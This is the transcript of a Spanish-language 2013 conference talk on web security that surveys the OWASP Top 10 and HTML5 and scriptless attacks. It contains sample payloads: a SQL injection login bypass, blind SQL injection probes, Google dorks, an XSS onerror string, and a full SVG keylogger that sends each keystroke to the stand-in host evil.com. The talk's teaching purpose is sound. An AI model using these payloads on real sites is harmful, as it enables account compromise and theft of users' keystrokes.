La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Post on 12-May-2015

5.126 views 0 download

Tags:

description

Presentación sobre seguridad web en la XV Jornada de Seguridad TI de Nextel S.A. en la Alhóndiga de Bilbao el jueves 27 de junio de 2013.

Transcript of La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

Pablo Garaizar, Universidad de Deusto

XV Jornada de Seguridad TI

La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades

¿De qué vamos a hablar?

● Oldies goldies: OWASP Top 10, 2013:● A1 - Injections● A2 - Broken Authentication and Session Management● A3 - Cross-Site Scripting (XSS)● …

● Nuevas vulnerabilidades en torno a HTML5.

OWASP Top 10, 2013https://www.owasp.org/index.php/Top_10_2013-Top_10

OWASPThe Open Web Application Security Project

https://www.owasp.org/index.php/Main_Page

A1 - InjectionSQL, OS, and LDAP injections

https://www.owasp.org/index.php/Top_10_2013-A1

SQL InjectionPor una comilla de nada...

SELECT * FROM users

WHERE user = '" + username + "' and

password = '" + md5(password) + "';

Username: admin' OR '1'='1

Password: whatever

SELECT * FROM users

WHERE user = 'admin' OR '1'='1' and

password = '" + md5('whatever') + "';

SQL InjectionSi no hay mensajes de error, Blind SQL Injection

● Si no hay error, se muestra la página normal.● http://myblog.com/post.asp?id=33 AND 1=1SELECT * FROM posts WHERE id = 33 AND 1=1

● Si hay error, se muestra otra página.● http://myblog.com/post.asp?id=33 AND 1=0SELECT * FROM posts WHERE id = 33 AND 1=0

● Google Hacking:– inurl:"php?id="– inurl:"asp?id="

SQL InjectionBlind SQL Injection, herramientas

● SQLbfTools: – http://www.reversing.org/node/view/11

● ./mysqlbf.exe "http://web/vulnerable.php?ID=3" "now()" "word"

● SQL Ninja: – http://sqlninja.sourceforge.net/sqlninjademo1.html

● Absinthe: – http://www.0x90.org/releases/absinthe/download.php

A2 - Broken Authentication and Session Management Compromise passwords, keys, session tokens, etc.

https://www.owasp.org/index.php/Top_10_2013-A2

DEMOLogin en Flash

inurl:login.swf

A3 - Cross-Site Scripting (XSS)Allows attackers to execute scripts in the victim’s browser

https://www.owasp.org/index.php/Top_10_2013-A3

Cross-Site Scripting (XSS)Diferentes tipos y alcances

● Tipo 0: Basado en DOM. – Una página maliciosa abre una página local con permisos de Zona

Local y ejecuta código con esas credenciales.– Típicamente en phising o SPAM.

● Tipo 1: No persistente.– El más común, necesita Ingeniería Social para explotarse.– Típicamente en webs de búsquedas, se muestra a su vez la cadena

consultada (si tiene código, será ejecutado). ● Tipo 2: Persistente.

– El código está almacenado en una BD, fichero, o similar.– No requiere mucha Ingeniería Social para que la víctima lo ejecute.– Típicamente en foros o similares.

A4 - Insecure Direct Object ReferencesReferences to an internal implementation object, such as a file, directory, or database key

https://www.owasp.org/index.php/Top_10_2013-A4

RFIPHP shells

http://oco.cc/

A5 - Security MisconfigurationKeeping all software up to date

https://www.owasp.org/index.php/Top_10_2013-A5

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

A6 - Sensitive Data ExposureSensitive data deserves extra protection such as encryption

https://www.owasp.org/index.php/Top_10_2013-A6

Seguridad a través de la oscuridadrobots.txt

http://www.casareal.es/robots.txt

User-agent: *

Disallow:

Disallow: /_*/

Disallow: /ES/FamiliaReal/Urdangarin/

Disallow: /CA/FamiliaReal/Urdangarin/

Disallow: /EU/FamiliaReal/Urdangarin/

Disallow: /GL/FamiliaReal/Urdangarin/

Disallow: /VA/FamiliaReal/Urdangarin/

Disallow: /EN/FamiliaReal/Urdangarin/

Sitemap: http://www.casareal.es/sitemap.xml

Seguridad a través de la oscuridadMeta-datos: Fear the FOCA!

http://www.informatica64.com/foca.aspx

A7 - Missing Function Level Access ControlAttackers are able to forge requests in order to access unauthorized functionality

https://www.owasp.org/index.php/Top_10_2013-A7

Proteger el cron en MoodleSimilar para v1.9, 2.x, etc.

http://docs.moodle.org/19/en/Cron

A8 - Cross-Site Request Forgery (CSRF)Forces a logged-on victim’s browser to send a forged HTTP request

https://www.owasp.org/index.php/Top_10_2013-A8

Cross-Site Request Forgery (CSRF)XSRF o "sea-surf"

● Explota la confianza que tiene un sitio en el navegador de un cliente autenticado.– El servidor: acepta las credenciales de la sesión de

usuario almacenada en el navegador.– El cliente: accede a una web que fuerza a su

navegador a realizar acciones no deseadas en un sitio en el que previamente se ha autenticado.

● Contramedida: tokens específicos en cada formulario.

A9 - Using Components with Known VulnerabilitiesVulnerable components, such as libraries, frameworks, and other software modules

https://www.owasp.org/index.php/Top_10_2013-A9

The Exploit DatabaseBúsqueda de avisos + exploits ordenados por temas y fechas

http://www.exploit-db.com/

A10 - Unvalidated Redirects and ForwardsAttackers can redirect victims to phishing or malware sites

https://www.owasp.org/index.php/Top_10_2013-A10

Ataques de redirecciónPoCs: IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd

http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/

Nuevas vulnerabilidades en torno a HTML5

HTML5 Client-side Stored XSS in Web SQL Database<img onerror="alert('Client-side Stored XSS')" src="nil">

http://www.andlabs.org/html5/csXSS2.html

HTML5 Cross Origin Requestswget --header="Origin: http://www.andlabs.org" www.andlabs.net/html5/acCOR.php

http://www.andlabs.org/html5/acCOR.php

HTML5: muchos más ataquesWeb Sockets, Web Workers, UI dressing, HTML5 tag abuse, etc.

http://html5security.org/

http://www.slideshare.net/x00mario/stealing-the-pie

Ataques sin scriptsfalso captcha usando tipografía propia

http://heideri.ch/opera/captcha/

Ataques sin scriptsFuerza bruta contra password usando CSS y Regexps

http://html5sec.org/invalid?start=0

Ataques sin scriptsLector de valores del DOM a través de CSS y Regexps (CSRF)

http://eaea.sirdarckcat.net/cssar/v2/

Ataques sin scriptsCapturador de sesión mediante CSS y Regexps

http://

Ataques sin scriptsKeylogger SVG

http://html5sec.org/keylogger

<!--injection--><svg height="0px"><image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"><set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" /><set attributeName="xlink:href" begin="accessKey(e)" to="//evil.com/?e" /><set attributeName="xlink:href" begin="accessKey(f)" to="//evil.com/?f" /><set attributeName="xlink:href" begin="accessKey(g)" to="//evil.com/?g" /><set attributeName="xlink:href" begin="accessKey(h)" to="//evil.com/?h" /><set attributeName="xlink:href" begin="accessKey(i)" to="//evil.com/?i" /><set attributeName="xlink:href" begin="accessKey(j)" to="//evil.com/?j" /><set attributeName="xlink:href" begin="accessKey(k)" to="//evil.com/?k" /><set attributeName="xlink:href" begin="accessKey(l)" to="//evil.com/?l" /><set attributeName="xlink:href" begin="accessKey(m)" to="//evil.com/?m" /><set attributeName="xlink:href" begin="accessKey(n)" to="//evil.com/?n" /><set attributeName="xlink:href" begin="accessKey(o)" to="//evil.com/?o" /><set attributeName="xlink:href" begin="accessKey(p)" to="//evil.com/?p" /><set attributeName="xlink:href" begin="accessKey(q)" to="//evil.com/?q" /><set attributeName="xlink:href" begin="accessKey(r)" to="//evil.com/?r" /><set attributeName="xlink:href" begin="accessKey(s)" to="//evil.com/?s" /><set attributeName="xlink:href" begin="accessKey(t)" to="//evil.com/?t" /><set attributeName="xlink:href" begin="accessKey(u)" to="//evil.com/?u" /><set attributeName="xlink:href" begin="accessKey(v)" to="//evil.com/?v" /><set attributeName="xlink:href" begin="accessKey(w)" to="//evil.com/?w" /><set attributeName="xlink:href" begin="accessKey(x)" to="//evil.com/?x" /><set attributeName="xlink:href" begin="accessKey(y)" to="//evil.com/?y" /><set attributeName="xlink:href" begin="accessKey(z)" to="//evil.com/?z" /></image></svg>

Ataques sin scriptsFuerza bruta contra contraseñas mediante tipografía con “ligaduras”

http://fontforge.org/

“All user input is evil until proven otherwise”Ken Cox

Muchas gracias ;-)and... happy hacking!

Referencias● OWASP: The Open Web Application Security Project.

● El lado del mal, retos hacking, por Chema Alonso.

● Fear the FOCA! Informática64.

● IE/Firefox Redirection Issue – FB Oauth2 Bypass – BugCrowd, por Soroush Dalili.

● HTML5 Top 10 Threats Stealth Attacks and Silent Exploits, Shreeraj Shah.

● HTML5 security.

● Scriptless Attacks: Stealing the pie without touching the sill, por Mario Heiderich, Felix Schuster y Marcus Niemietz.

● The Exploit Database.

Todas las imágenes son propiedad de sus respectivos dueños, el resto del

contenido está licenciado bajo Creative Commons by-sa 3.0

http://www.zerodayclothing.com, OWASP.org, Microsoft, Exploit-db.com, Informatica64, http://www.flickr.com/photos/ivanlian/3331017290/sizes/l/in/photostream/http://www.flickr.com/photos/samout3/3411358304/sizes/l/in/photostream/

http://www.flickr.com/photos/ndanger/9731511/sizes/l/in/photostream/http://www.flickr.com/photos/marcophoto/6264497575/sizes/l/in/photostream/

etc.